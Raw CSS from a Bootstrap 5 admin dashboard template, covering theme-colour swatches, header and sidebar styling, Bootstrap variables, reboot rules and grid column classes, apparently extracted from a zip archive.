a span:before, .theme-color > a span:after, .theme-color > a span:before { content: ""; height: 100%; position: absolute; } .doc-img > a span:before, .theme-color > a span:before { width: 32%; left: 0; background: #1c232f; } .doc-img > a span:after, .theme-color > a span:after { width: 70%; right: 0; background: #f8f9fd; } .doc-img > a > span:nth-child(1), .theme-color > a > span:nth-child(1) { height: 40%; top: 0; } .doc-img > a > span:nth-child(1):after, .theme-color > a > span:nth-child(1):after { background: #fff; } .doc-img > a > span:nth-child(2), .theme-color > a > span:nth-child(2) { height: 66%; bottom: 0; } .doc-img.header-color > a[data-value="bg-primary"] > span:nth-child(1):after, .theme-color.header-color > a[data-value="bg-primary"] > span:nth-child(1):after { background: #51459d; } .doc-img.header-color > a[data-value="bg-success"] > span:nth-child(1):after, .theme-color.header-color > a[data-value="bg-success"] > span:nth-child(1):after { background: #6fd943; } .doc-img.header-color > a[data-value="bg-info"] > span:nth-child(1):after, .theme-color.header-color > a[data-value="bg-info"] > span:nth-child(1):after { background: #3ec9d6; } .doc-img.header-color > a[data-value="bg-warning"] > span:nth-child(1):after, .theme-color.header-color > a[data-value="bg-warning"] > span:nth-child(1):after { background: #ffa21d; } .doc-img.header-color > a[data-value="bg-danger"] > span:nth-child(1):after, .theme-color.header-color > a[data-value="bg-danger"] > span:nth-child(1):after { background: #ff3a6e; } .doc-img.header-color > a[data-value="bg-dark"] > span:nth-child(1):after, .theme-color.header-color > a[data-value="bg-dark"] > span:nth-child(1):after { background: #1c232f; } .doc-img.brand-color > a[data-value="bg-primary"] > span:nth-child(1):before, .theme-color.brand-color > a[data-value="bg-primary"] > span:nth-child(1):before { background: #51459d; } .doc-img.brand-color > a[data-value="bg-success"] > span:nth-child(1):before, .theme-color.brand-color > a[data-value="bg-success"] > span:nth-child(1):before { background: #6fd943; } .doc-img.brand-color > a[data-value="bg-info"] > span:nth-child(1):before, .theme-color.brand-color > a[data-value="bg-info"] > span:nth-child(1):before { background: #3ec9d6; } .doc-img.brand-color > a[data-value="bg-warning"] > span:nth-child(1):before, .theme-color.brand-color > a[data-value="bg-warning"] > span:nth-child(1):before { background: #ffa21d; } .doc-img.brand-color > a[data-value="bg-danger"] > span:nth-child(1):before, .theme-color.brand-color > a[data-value="bg-danger"] > span:nth-child(1):before { background: #ff3a6e; } .doc-img.brand-color > a[data-value="bg-dark"] > span:nth-child(1):before, .theme-color.brand-color > a[data-value="bg-dark"] > span:nth-child(1):before { background: #1c232f; } .doc-img.themes-color > a[data-value="theme-1"], .theme-color.themes-color > a[data-value="theme-1"] { background: linear-gradient(141.55deg, #0CAF60 3.46%, #0CAF60 99.86%), #0CAF60; } .doc-img.themes-color > a[data-value="theme-3"], .theme-color.themes-color > a[data-value="theme-3"] { background: linear-gradient(141.55deg, #6FD943 3.46%, #6FD943 99.86%), #6FD943; } .doc-img.themes-color > a[data-value="theme-2"], .theme-color.themes-color > a[data-value="theme-2"] { background: linear-gradient(141.55deg, #584ED2 3.46%, #584ED2 99.86%), #584ED2; } .doc-img.themes-color > a[data-value="theme-4"], .theme-color.themes-color > a[data-value="theme-4"] { background: linear-gradient(141.55deg, #145388 3.46%, #145388 99.86%), #145388; } .doc-img.themes-color > a[data-value="theme-5"], .theme-color.themes-color > a[data-value="theme-5"] { background: linear-gradient(141.55deg, #B9406B 3.46%, #B9406B 99.86%), #B9406B; } .doc-img.themes-color > a[data-value="theme-6"], .theme-color.themes-color > a[data-value="theme-6"] { background: linear-gradient(141.55deg, #008ECC 3.46%, #008ECC 99.86%), #008ECC; } .doc-img.themes-color > a[data-value="theme-7"], .theme-color.themes-color > a[data-value="theme-7"] { background: linear-gradient(141.55deg, #922C88 3.46%, #922C88 99.86%), #922C88; } .doc-img.themes-color > a[data-value="theme-8"], .theme-color.themes-color > a[data-value="theme-8"] { background: linear-gradient(141.55deg, #C0A145 3.46%, #C0A145 99.86%), #C0A145; } .doc-img.themes-color > a[data-value="theme-9"], .theme-color.themes-color > a[data-value="theme-9"] { background: linear-gradient(141.55deg, #48494B 3.46%, #48494B 99.86%), #48494B; } .doc-img.themes-color > a[data-value="theme-10"], .theme-color.themes-color > a[data-value="theme-10"] { background: linear-gradient(141.55deg, #0C7785 3.46%, #0C7785 99.86%), #0C7785; } .doc-img > a { width: 100px; height: 65px; } .dash-header[class*="bg-"], .dash-header.dark-header { box-shadow: none; background: #1c232f; color: #fff; } @media (min-width: 1025px) { .dash-header[class*="bg-"] .dash-head-link, .dash-header.dark-header .dash-head-link { color: #fff; } .dash-header[class*="bg-"] .dash-head-link i, .dash-header.dark-header .dash-head-link i { color: #fff; } .dash-header[class*="bg-"] .dash-head-link .material-icons-two-tone, .dash-header.dark-header .dash-head-link .material-icons-two-tone { background-color: #fff; } .dash-header[class*="bg-"] .dash-head-link.active, .dash-header[class*="bg-"] .dash-head-link:active, .dash-header[class*="bg-"] .dash-head-link:focus, .dash-header[class*="bg-"] .dash-head-link:hover, .dash-header.dark-header .dash-head-link.active, .dash-header.dark-header .dash-head-link:active, .dash-header.dark-header .dash-head-link:focus, .dash-header.dark-header .dash-head-link:hover { color: #fff; background: rgba(255, 255, 255, 0.15); } .dash-header[class*="bg-"] .dash-head-link.active .material-icons-two-tone, .dash-header[class*="bg-"] .dash-head-link:active .material-icons-two-tone, .dash-header[class*="bg-"] .dash-head-link:focus .material-icons-two-tone, .dash-header[class*="bg-"] .dash-head-link:hover .material-icons-two-tone, .dash-header.dark-header .dash-head-link.active .material-icons-two-tone, .dash-header.dark-header .dash-head-link:active .material-icons-two-tone, .dash-header.dark-header .dash-head-link:focus .material-icons-two-tone, .dash-header.dark-header .dash-head-link:hover .material-icons-two-tone { background-color: #fff; } .dash-header[class*="bg-"] .dash-head-link .user-desc, .dash-header.dark-header .dash-head-link .user-desc { color: rgba(255, 255, 255, 0.7); } } .dash-sidebar.light-sidebar { background: #fff; box-shadow: 0 1px 20px 0 rgba(69, 90, 100, 0.08); } .dash-sidebar.light-sidebar .dash-caption { color: #333333; } .dash-sidebar.light-sidebar .dash-navbar > .dash-item > .dash-link { border-radius: 12px; margin-left: 15px; margin-right: 15px; padding: 7px 10px 7px 7px; } .dash-sidebar.light-sidebar .dash-link { color: #333333; font-size: 14px; } .dash-sidebar.light-sidebar .dash-link .dash-micon { background-color: #fff; box-shadow: -3px 4px 23px rgba(0, 0, 0, 0.1); } .dash-sidebar.light-sidebar .dash-link .dash-micon i, .dash-sidebar.light-sidebar .dash-link .dash-micon svg { color: #525b69; stroke: #525b69; fill: #f2f2f2; } .dash-sidebar.light-sidebar .dash-link .dash-micon .material-icons-two-tone { background-color: #525b69; } .dash-sidebar.light-sidebar .dash-link .dash-arrow { margin-top: 7px; } .dash-sidebar.light-sidebar .dash-link:active, .dash-sidebar.light-sidebar .dash-link:focus, .dash-sidebar.light-sidebar .dash-link:hover { color: #51459d; } .dash-sidebar.light-sidebar .dash-submenu .dash-link .dash-arrow { margin-top: 2px; } .dash-sidebar.light-sidebar .dash-item.active > .dash-link, .dash-sidebar.light-sidebar .dash-item:hover > .dash-link { color: #51459d; } .dash-sidebar.light-sidebar .dash-item.active > .dash-link i, .dash-sidebar.light-sidebar .dash-item:hover > .dash-link i { color: #51459d; } .dash-sidebar.light-sidebar .dash-item.active > .dash-link .dash-micon i.material-icons-two-tone, .dash-sidebar.light-sidebar .dash-item:hover > .dash-link .dash-micon i.material-icons-two-tone { background-color: #51459d; } .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link { font-weight: 700; } .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link, .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link, .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link { box-shadow: -6px 11px 19px rgba(0, 0, 0, 0.04); background: #fff; color: #333333; } .minimenu .dash-sidebar.light-sidebar .dash-navbar > .dash-item > .dash-link { padding: 20px 25px; margin-left: 0; margin-right: 0; border-radius: 0; } .minimenu .dash-sidebar.light-sidebar .dash-item .dash-item:hover > .dash-link { background: transparent; } .minimenu .dash-sidebar.light-sidebar .dash-submenu { box-shadow: 0 1px 20px 0 rgba(69, 90, 100, 0.08); background: #fff; } .dash-horizontal .topbar.light-sidebar { background: #fff; box-shadow: 0 1px 20px 0 rgba(69, 90, 100, 0.08); } .dash-horizontal .topbar.light-sidebar .dash-link { color: #333333; } .dash-horizontal .topbar.light-sidebar .dash-link:active, .dash-horizontal .topbar.light-sidebar .dash-link:focus, .dash-horizontal .topbar.light-sidebar .dash-link:hover { color: #51459d; } .auth-wrapper ~ .pct-customizer { display: none; } PKZ> > css/style-rtl.cssnu[@charset "UTF-8"; /**====================================================================== ========================================================================= Template Name: Dashboard Bootstrap 5 Admin Template Author: Rajodiya Infotech Support: [support link] File: style.css ========================================================================= =================================================================================== */ /*! * Bootstrap v5.2.3 (https://getbootstrap.com/) * Copyright 2011-2022 The Bootstrap Authors * Copyright 2011-2022 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) */ @import url("https://fonts.googleapis.com/css2?family=Open+Sans:wght@400;500;600;700&display=swap"); :root { --bs-blue: #51459d; --bs-indigo: #6610f2; --bs-purple: #6f42c1; --bs-pink: #e83e8c; --bs-red: #ff3a6e; --bs-orange: #fd7e14; --bs-yellow: #ffa21d; --bs-green: #6fd943; --bs-teal: #20c997; --bs-cyan: #3ec9d6; --bs-white: #ffffff; --bs-gray: #6c757d; --bs-gray-dark: #343a40; --bs-gray-100: #f8f9fa; --bs-gray-200: #e9ecef; --bs-gray-300: #dee2e6; --bs-gray-400: #ced4da; --bs-gray-500: #adb5bd; --bs-gray-600: #6c757d; --bs-gray-700: #495057; --bs-gray-800: #343a40; --bs-gray-900: #212529; --bs-primary: #51459d; --bs-secondary: #6c757d; --bs-success: #6fd943; --bs-info: #3ec9d6; --bs-warning: #ffa21d; --bs-danger: #ff3a6e; --bs-light: #f8f9fa; --bs-dark: #1c232f; --bs-primary-rgb: 81, 69, 157; --bs-secondary-rgb: 108, 117, 125; --bs-success-rgb: 111, 217, 67; --bs-info-rgb: 62, 201, 214; --bs-warning-rgb: 255, 162, 29; --bs-danger-rgb: 255, 58, 110; --bs-light-rgb: 248, 249, 250; --bs-dark-rgb: 28, 35, 47; --bs-white-rgb: 255, 255, 255; --bs-black-rgb: 0, 0, 0; --bs-body-color-rgb: 41, 50, 64; --bs-body-bg-rgb: 248, 249, 253; --bs-font-sans-serif: "Open Sans", sans-serif; --bs-font-monospace: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; --bs-gradient: linear-gradient(180deg, rgba(255, 255, 255, 0.15), rgba(255, 255, 255, 0)); --bs-body-font-family: var(--bs-font-sans-serif); --bs-body-font-size: 0.875rem; --bs-body-font-weight: 400; --bs-body-line-height: 1.5; --bs-body-color: #293240; --bs-body-bg: #f8f9fd; --bs-border-width: 1px; --bs-border-style: solid; --bs-border-color: #f1f1f1; --bs-border-color-translucent: rgba(0, 0, 0, 0.175); --bs-border-radius: 10px; --bs-border-radius-sm: 8px; --bs-border-radius-lg: 15px; --bs-border-radius-xl: 1rem; --bs-border-radius-2xl: 2rem; --bs-border-radius-pill: 50rem; --bs-link-color: #51459d; --bs-link-hover-color: #51459d; --bs-code-color: #e83e8c; --bs-highlight-bg: #fcf8e3; } *, *::before, *::after { box-sizing: border-box; } @media (prefers-reduced-motion: no-preference) { :root { scroll-behavior: smooth; } } body { margin: 0; font-family: var(--bs-body-font-family); font-size: var(--bs-body-font-size); font-weight: var(--bs-body-font-weight); line-height: var(--bs-body-line-height); color: var(--bs-body-color); text-align: var(--bs-body-text-align); background-color: var(--bs-body-bg); -webkit-text-size-adjust: 100%; -webkit-tap-highlight-color: rgba(0, 0, 0, 0); } hr { margin: 1rem 0; color: #f1f1f1; border: 0; border-top: 1px solid; opacity: 1; } h1, .h1, h2, .h2, h3, .h3, h4, .h4, h5, .h5, h6, .h6 { margin-top: 0; margin-bottom: 0.5rem; font-weight: 600; line-height: 1.2; color: #060606; } h1, .h1 { font-size: calc(1.35rem + 1.2vw); } @media (min-width: 1200px) { h1, .h1 { font-size: 2.25rem; } } h2, .h2 { font-size: calc(1.3rem + 0.6vw); } @media (min-width: 1200px) { h2, .h2 { font-size: 1.75rem; } } h3, .h3 { font-size: calc(1.275rem + 0.3vw); } @media (min-width: 1200px) { h3, .h3 { font-size: 1.5rem; } } h4, .h4 { font-size: 1.25rem; } h5, .h5 { font-size: 1rem; } h6, .h6 { font-size: 0.9375rem; } p { margin-top: 0; margin-bottom: 1rem; } abbr[title] { -webkit-text-decoration: underline dotted; text-decoration: underline dotted; cursor: help; -webkit-text-decoration-skip-ink: none; text-decoration-skip-ink: none; } address { margin-bottom: 1rem; font-style: normal; line-height: inherit; } ol, ul { padding-left: 2rem; } ol, ul, dl { margin-top: 0; margin-bottom: 1rem; } ol ol, ul ul, ol ul, ul ol { margin-bottom: 0; } dt { font-weight: 700; } dd { margin-bottom: .5rem; margin-left: 0; } blockquote { margin: 0 0 1rem; } b, strong { font-weight: bolder; } small, .small { font-size: 80%; } mark, .mark { padding: 0.2em; background-color: var(--bs-highlight-bg); } sub, sup { position: relative; font-size: 0.75em; line-height: 0; vertical-align: baseline; } sub { bottom: -.25em; } sup { top: -.5em; } a { color: var(--bs-link-color); text-decoration: none; } a:hover { color: var(--bs-link-hover-color); text-decoration: underline; } a:not([href]):not([class]), a:not([href]):not([class]):hover { color: inherit; text-decoration: none; } pre, code, kbd, samp { font-family: var(--bs-font-monospace); font-size: 1em; } pre { display: block; margin-top: 0; margin-bottom: 1rem; overflow: auto; font-size: 87.5%; } pre code { font-size: inherit; color: inherit; word-break: normal; } code { font-size: 87.5%; color: var(--bs-code-color); word-wrap: break-word; } a > code { color: inherit; } kbd { padding: 0.2rem 0.4rem; font-size: 87.5%; color: #ffffff; background-color: #212529; border-radius: 8px; } kbd kbd { padding: 0; font-size: 1em; font-weight: 700; } figure { margin: 0 0 1rem; } img, svg { vertical-align: middle; } table { caption-side: bottom; border-collapse: collapse; } caption { padding-top: 0.9rem; padding-bottom: 0.9rem; color: #6c757d; text-align: left; } th { text-align: inherit; text-align: -webkit-match-parent; } thead, tbody, tfoot, tr, td, th { border-color: inherit; border-style: solid; border-width: 0; } label { display: inline-block; } button { border-radius: 0; } button:focus:not(:focus-visible) { outline: 0; } input, button, select, optgroup, textarea { margin: 0; font-family: inherit; font-size: inherit; line-height: inherit; } button, select { text-transform: none; } [role="button"] { cursor: pointer; } select { word-wrap: normal; } select:disabled { opacity: 1; } [list]:not([type="date"]):not([type="datetime-local"]):not([type="month"]):not([type="week"]):not([type="time"])::-webkit-calendar-picker-indicator { display: none !important; } button, [type="button"], [type="reset"], [type="submit"] { -webkit-appearance: button; } button:not(:disabled), [type="button"]:not(:disabled), [type="reset"]:not(:disabled), [type="submit"]:not(:disabled) { cursor: pointer; } ::-moz-focus-inner { padding: 0; border-style: none; } textarea { resize: vertical; } fieldset { min-width: 0; padding: 0; margin: 0; border: 0; } legend { float: left; width: 100%; padding: 0; margin-bottom: 0.5rem; font-size: calc(1.275rem + 0.3vw); line-height: inherit; } @media (min-width: 1200px) { legend { font-size: 1.5rem; } } legend + * { clear: left; } ::-webkit-datetime-edit-fields-wrapper, ::-webkit-datetime-edit-text, ::-webkit-datetime-edit-minute, ::-webkit-datetime-edit-hour-field, ::-webkit-datetime-edit-day-field, ::-webkit-datetime-edit-month-field, ::-webkit-datetime-edit-year-field { padding: 0; } ::-webkit-inner-spin-button { height: auto; } [type="search"] { outline-offset: -2px; -webkit-appearance: textfield; } /* rtl:raw: [type="tel"], [type="url"], [type="email"], [type="number"] { direction: ltr; } */ ::-webkit-search-decoration { -webkit-appearance: none; } ::-webkit-color-swatch-wrapper { padding: 0; } ::file-selector-button { font: inherit; -webkit-appearance: button; } output { display: inline-block; } iframe { border: 0; } summary { display: list-item; cursor: pointer; } progress { vertical-align: baseline; } [hidden] { display: none !important; } .lead { font-size: 1.09375rem; font-weight: 300; } .display-1 { font-size: calc(1.625rem + 4.5vw); font-weight: 300; line-height: 1.2; } @media (min-width: 1200px) { .display-1 { font-size: 5rem; } } .display-2 { font-size: calc(1.575rem + 3.9vw); font-weight: 300; line-height: 1.2; } @media (min-width: 1200px) { .display-2 { font-size: 4.5rem; } } .display-3 { font-size: calc(1.525rem + 3.3vw); font-weight: 300; line-height: 1.2; } @media (min-width: 1200px) { .display-3 { font-size: 4rem; } } .display-4 { font-size: calc(1.475rem + 2.7vw); font-weight: 300; line-height: 1.2; } @media (min-width: 1200px) { .display-4 { font-size: 3.5rem; } } .display-5 { font-size: calc(1.425rem + 2.1vw); font-weight: 300; line-height: 1.2; } @media (min-width: 1200px) { .display-5 { font-size: 3rem; } } .display-6 { font-size: calc(1.375rem + 1.5vw); font-weight: 300; line-height: 1.2; } @media (min-width: 1200px) { .display-6 { font-size: 2.5rem; } } .list-unstyled { padding-left: 0; list-style: none; } .list-inline { padding-left: 0; list-style: none; } .list-inline-item { display: inline-block; } .list-inline-item:not(:last-child) { margin-right: 0.5rem; } .initialism { font-size: 80%; text-transform: uppercase; } .blockquote { margin-bottom: 1rem; font-size: 1.09375rem; } .blockquote > :last-child { margin-bottom: 0; } .blockquote-footer { margin-top: -1rem; margin-bottom: 1rem; font-size: 80%; color: #6c757d; } .blockquote-footer::before { content: "\2014\00A0"; } .img-fluid { max-width: 100%; height: auto; } .img-thumbnail { padding: 0.25rem; background-color: #f8f9fd; border: 1px solid #f1f1f1; border-radius: 10px; max-width: 100%; height: auto; } .figure { display: inline-block; } .figure-img { margin-bottom: 0.5rem; line-height: 1; } .figure-caption { font-size: 90%; color: #6c757d; } .container, .container-fluid, .container-sm, .container-md, .container-lg, .container-xl, .container-xxl { --bs-gutter-x: 1.5rem; --bs-gutter-y: 0; width: 100%; padding-right: calc(var(--bs-gutter-x) * .5); padding-left: calc(var(--bs-gutter-x) * .5); margin-right: auto; margin-left: auto; } @media (min-width: 576px) { .container, .container-sm { max-width: 540px; } } @media (min-width: 768px) { .container, .container-sm, .container-md { max-width: 720px; } } @media (min-width: 992px) { .container, .container-sm, .container-md, .container-lg { max-width: 960px; } } @media (min-width: 1200px) { .container, .container-sm, .container-md, .container-lg, .container-xl { max-width: 1140px; } } @media (min-width: 1400px) { .container, .container-sm, .container-md, .container-lg, .container-xl, .container-xxl { max-width: 1320px; } } .row { --bs-gutter-x: 1.5rem; --bs-gutter-y: 0; display: flex; flex-wrap: wrap; margin-top: calc(-1 * var(--bs-gutter-y)); margin-right: calc(-.5 * var(--bs-gutter-x)); margin-left: calc(-.5 * var(--bs-gutter-x)); } .row > * { flex-shrink: 0; width: 100%; max-width: 100%; padding-right: calc(var(--bs-gutter-x) * .5); padding-left: calc(var(--bs-gutter-x) * .5); margin-top: var(--bs-gutter-y); } .col { flex: 1 0 0%; } .row-cols-auto > * { flex: 0 0 auto; width: auto; } .row-cols-1 > * { flex: 0 0 auto; width: 100%; } .row-cols-2 > * { flex: 0 0 auto; width: 50%; } .row-cols-3 > * { flex: 0 0 auto; width: 33.33333%; } .row-cols-4 > * { flex: 0 0 auto; width: 25%; } .row-cols-5 > * { flex: 0 0 auto; width: 20%; } .row-cols-6 > * { flex: 0 0 auto; width: 16.66667%; } .col-auto { flex: 0 0 auto; width: auto; } .col-1 { flex: 0 0 auto; width: 8.33333%; } .col-2 { flex: 0 0 auto; width: 16.66667%; } .col-3 { flex: 0 0 auto; width: 25%; } .col-4 { flex: 0 0 auto; width: 33.33333%; } .col-5 { flex: 0 0 auto; width: 41.66667%; } .col-6 { flex: 0 0 auto; width: 50%; } .col-7 { flex: 0 0 auto; width: 58.33333%; } .col-8 { flex: 0 0 auto; width: 66.66667%; } .col-9 { flex: 0 0 auto; width: 75%; } .col-10 { flex: 0 0 auto; width: 83.33333%; } .col-11 { flex: 0 0 auto; width: 91.66667%; } .col-12 { flex: 0 0 auto; width: 100%; } .offset-1 { margin-left: 8.33333%; } .offset-2 { margin-left: 16.66667%; } .offset-3 { margin-left: 25%; } .offset-4 { margin-left: 33.33333%; } .offset-5 { margin-left: 41.66667%; } .offset-6 { margin-left: 50%; } .offset-7 { margin-left: 58.33333%; } .offset-8 { margin-left: 66.66667%; } .offset-9 { margin-left: 75%; } .offset-10 { margin-left: 83.33333%; } .offset-11 { margin-left: 91.66667%; } .g-0, .gx-0 { --bs-gutter-x: 0; } .g-0, .gy-0 { --bs-gutter-y: 0; } .g-1, .gx-1 { --bs-gutter-x: 0.25rem; } .g-1, .gy-1 { --bs-gutter-y: 0.25rem; } .g-2, .gx-2 { --bs-gutter-x: 0.5rem; } .g-2, .gy-2 { --bs-gutter-y: 0.5rem; } .g-3, .gx-3 { --bs-gutter-x: 1rem; } .g-3, .gy-3 { --bs-gutter-y: 1rem; } .g-4, .gx-4 { --bs-gutter-x: 1.5rem; } .g-4, .gy-4 { --bs-gutter-y: 1.5rem; } .g-5, .gx-5 { --bs-gutter-x: 3rem; } .g-5, .gy-5 { --bs-gutter-y: 3rem; } @media (min-width: 576px) { .col-sm { flex: 1 0 0%; } .row-cols-sm-auto > * { flex: 0 0 auto; width: auto; } .row-cols-sm-1 > * { flex: 0 0 auto; width: 100%; } .row-cols-sm-2 > * { flex: 0 0 auto; width: 50%; } .row-cols-sm-3 > * { flex: 0 0 auto; width: 33.33333%; } .row-cols-sm-4 > * { flex: 0 0 auto; width: 25%; } .row-cols-sm-5 > * { flex: 0 0 auto; width: 20%; } .row-cols-sm-6 > * { flex: 0 0 auto; width: 16.66667%; } .col-sm-auto { flex: 0 0 auto; width: auto; } .col-sm-1 { flex: 0 0 auto; width: 8.33333%; } .col-sm-2 { flex: 0 0 auto; width: 16.66667%; } .col-sm-3 { flex: 0 0 auto; width: 25%; } .col-sm-4 { flex: 0 0 auto; width: 33.33333%; } .col-sm-5 { flex: 0 0 auto; width: 41.66667%; } .col-sm-6 { flex: 0 0 auto; width: 50%; } .col-sm-7 { flex: 0 0 auto; width: 58.33333%; } .col-sm-8 { flex: 0 0 auto; width: 66.66667%; } .col-sm-9 { flex: 0 0 auto; width: 75%; } .col-sm-10 { flex: 0 0 auto; width: 83.33333%; } .col-sm-11 { flex: 0 0 auto; width: 91.66667%; } .col-sm-12 { flex: 0 0 auto; width: 100%; } .offset-sm-0 { margin-left: 0; } .offset-sm-1 { margin-left: 8.33333%; } .offset-sm-2 { margin-left: 16.66667%; } .offset-sm-3 { margin-left: 25%; } .offset-sm-4 { margin-left: 33.33333%; } .offset-sm-5 { margin-left: 41.66667%; } .offset-sm-6 { margin-left: 50%; } .offset-sm-7 { margin-left: 58.33333%; } .offset-sm-8 { margin-left: 66.66667%; } .offset-sm-9 { margin-left: 75%; } .offset-sm-10 { margin-left: 83.33333%; } .offset-sm-11 { margin-left: 91.66667%; } .g-sm-0, .gx-sm-0 { --bs-gutter-x: 0; } .g-sm-0, .gy-sm-0 { --bs-gutter-y: 0; } .g-sm-1, .gx-sm-1 { --bs-gutter-x: 0.25rem; } .g-sm-1, .gy-sm-1 { --bs-gutter-y: 0.25rem; } .g-sm-2, .gx-sm-2 { --bs-gutter-x: 0.5rem; } .g-sm-2, .gy-sm-2 { --bs-gutter-y: 0.5rem; } .g-sm-3, .gx-sm-3 { --bs-gutter-x: 1rem; } .g-sm-3, .gy-sm-3 { --bs-gutter-y: 1rem; } .g-sm-4, .gx-sm-4 { --bs-gutter-x: 1.5rem; } .g-sm-4, .gy-sm-4 { --bs-gutter-y: 1.5rem; } .g-sm-5, .gx-sm-5 { --bs-gutter-x: 3rem; } .g-sm-5, .gy-sm-5 { --bs-gutter-y: 3rem; } } @media (min-width: 768px) { .col-md { flex: 1 0 0%; } .row-cols-md-auto > * { flex: 0 0 auto; width: auto; } .row-cols-md-1 > * { flex: 0 0 auto; width: 100%; } .row-cols-md-2 > * { flex: 0 0 auto; width: 50%; } .row-cols-md-3 > * { flex: 0 0 auto; width: 33.33333%; } .row-cols-md-4 > * { flex: 0 0 auto; width: 25%; } .row-cols-md-5 > * { flex: 0 0 auto; width: 20%; } .row-cols-md-6 > * { flex: 0 0 auto; width: 16.66667%; } .col-md-auto { flex: 0 0 auto; width: auto; } .col-md-1 { flex: 0 0 auto; width: 8.33333%; } .col-md-2 { flex: 0 0 auto; width: 16.66667%; } .col-md-3 { flex: 0 0 auto; width: 25%; } .col-md-4 { flex: 0 0 auto; width: 33.33333%; } .col-md-5 { flex: 0 0 auto; width: 41.66667%; } .col-md-6 { flex: 0 0 auto; width: 50%; } .col-md-7 { flex: 0 0 auto; width: 58.33333%; } .col-md-8 { flex: 0 0 auto; width: 66.66667%; } .col-md-9 { flex: 0 0 auto; width: 75%; } .col-md-10 { flex: 0 0 auto; width: 83.33333%; } .col-md-11 { flex: 0 0 auto; width: 91.66667%; } .col-md-12 { flex: 0 0 auto; width: 100%; } .offset-md-0 { margin-left: 0; } .offset-md-1 { margin-left: 8.33333%; } .offset-md-2 { margin-left: 16.66667%; } .offset-md-3 { margin-left: 25%; } .offset-md-4 { margin-left: 33.33333%; } .offset-md-5 { margin-left: 41.66667%; } .offset-md-6 { margin-left: 50%; } .offset-md-7 { margin-left: 58.33333%; } .offset-md-8 { margin-left: 66.66667%; } .offset-md-9 { margin-left: 75%; } .offset-md-10 { margin-left: 83.33333%; } .offset-md-11 { margin-left: 91.66667%; } .g-md-0, .gx-md-0 { --bs-gutter-x: 0; } .g-md-0, .gy-md-0 { --bs-gutter-y: 0; } .g-md-1, .gx-md-1 { --bs-gutter-x: 0.25rem; } .g-md-1, .gy-md-1 { --bs-gutter-y: 0.25rem; } .g-md-2, .gx-md-2 { --bs-gutter-x: 0.5rem; } .g-md-2, .gy-md-2 { --bs-gutter-y: 0.5rem; } .g-md-3, .gx-md-3 { --bs-gutter-x: 1rem; } .g-md-3, .gy-md-3 { --bs-gutter-y: 1rem; } .g-md-4, .gx-md-4 { --bs-gutter-x: 1.5rem; } .g-md-4, .gy-md-4 { --bs-gutter-y: 1.5rem; } .g-md-5, .gx-md-5 { --bs-gutter-x: 3rem; } .g-md-5, .gy-md-5 { --bs-gutter-y: 3rem; } } @media (min-width: 992px) { .col-lg { flex: 1 0 0%; } .row-cols-lg-auto > * { flex: 0 0 auto; width: auto; } .row-cols-lg-1 > * { flex: 0 0 auto; width: 100%; } .row-cols-lg-2 > * { flex: 0 0 auto; width: 50%; } .row-cols-lg-3 > * { flex: 0 0 auto; width: 33.33333%; } .row-cols-lg-4 > * { flex: 0 0 auto; width: 25%; } .row-cols-lg-5 > * { flex: 0 0 auto; width: 20%; } .row-cols-lg-6 > * { flex: 0 0 auto; width: 16.66667%; } .col-lg-auto { flex: 0 0 auto; width: auto; } .col-lg-1 { flex: 0 0 auto; width: 8.33333%; } .col-lg-2 { flex: 0 0 auto; width: 16.66667%; } .col-lg-3 { flex: 0 0 auto; width: 25%; } .col-lg-4 { flex: 0 0 auto; width: 33.33333%; } .col-lg-5 { flex: 0 0 auto; width: 41.66667%; } .col-lg-6 { flex: 0 0 auto; width: 50%; } .col-lg-7 { flex: 0 0 auto; width: 58.33333%; } .col-lg-8 { flex: 0 0 auto; width: 66.66667%; } .col-lg-9 { flex: 0 0 auto; width: 75%; } .col-lg-10 { flex: 0 0 auto; width: 83.33333%; } .col-lg-11 { flex: 0 0 auto; width: 91.66667%; } .col-lg-12 { flex: 0 0 auto; width: 100%; } .offset-lg-0 { margin-left: 0; } .offset-lg-1 { margin-left: 8.33333%; } .offset-lg-2 { margin-left: 16.66667%; } .offset-lg-3 { margin-left: 25%; } .offset-lg-4 { margin-left: 33.33333%; } .offset-lg-5 { margin-left: 41.66667%; } .offset-lg-6 { margin-left: 50%; } .offset-lg-7 { margin-left: 58.33333%; } .offset-lg-8 { margin-left: 66.66667%; } .offset-lg-9 { margin-left: 75%; } .offset-lg-10 { margin-left: 83.33333%; } .offset-lg-11 { margin-left: 91.66667%; } .g-lg-0, .gx-lg-0 { --bs-gutter-x: 0; } .g-lg-0, .gy-lg-0 { --bs-gutter-y: 0; } .g-lg-1, .gx-lg-1 { --bs-gutter-x: 0.25rem; } .g-lg-1, .gy-lg-1 { --bs-gutter-y: 0.25rem; } .g-lg-2, .gx-lg-2 { --bs-gutter-x: 0.5rem; } .g-lg-2, .gy-lg-2 { --bs-gutter-y: 0.5rem; } .g-lg-3, .gx-lg-3 { --bs-gutter-x: 1rem; } .g-lg-3, .gy-lg-3 { --bs-gutter-y: 1rem; } .g-lg-4, .gx-lg-4 { --bs-gutter-x: 1.5rem; } .g-lg-4, .gy-lg-4 { --bs-gutter-y: 1.5rem; } .g-lg-5, .gx-lg-5 { --bs-gutter-x: 3rem; } .g-lg-5, .gy-lg-5 { --bs-gutter-y: 3rem; } } @media (min-width: 1200px) { .col-xl { flex: 1 0 0%; } .row-cols-xl-auto > * { flex: 0 0 auto; width: auto; } .row-cols-xl-1 > * { flex: 0 0 auto; width: 100%; } .row-cols-xl-2 > * { flex: 0 0 auto; width: 50%; } .row-cols-xl-3 > * { flex: 0 0 auto; width: 33.33333%; } .row-cols-xl-4 > * { flex: 0 0 auto; width: 25%; } .row-cols-xl-5 > * { flex: 0 0 auto; width: 20%; } .row-cols-xl-6 > * { flex: 0 0 auto; width: 16.66667%; } .col-xl-auto { flex: 0 0 auto; width: auto; } .col-xl-1 { flex: 0 0 auto; width: 8.33333%; } .col-xl-2 { flex: 0 0 auto; width: 16.66667%; } .col-xl-3 { flex: 0 0 auto; width: 25%; } .col-xl-4 { flex: 0 0 auto; width: 33.33333%; } .col-xl-5 { flex: 0 0 auto; width: 41.66667%; } .col-xl-6 { flex: 0 0 auto; width: 50%; } .col-xl-7 { flex: 0 0 auto; width: 58.33333%; } 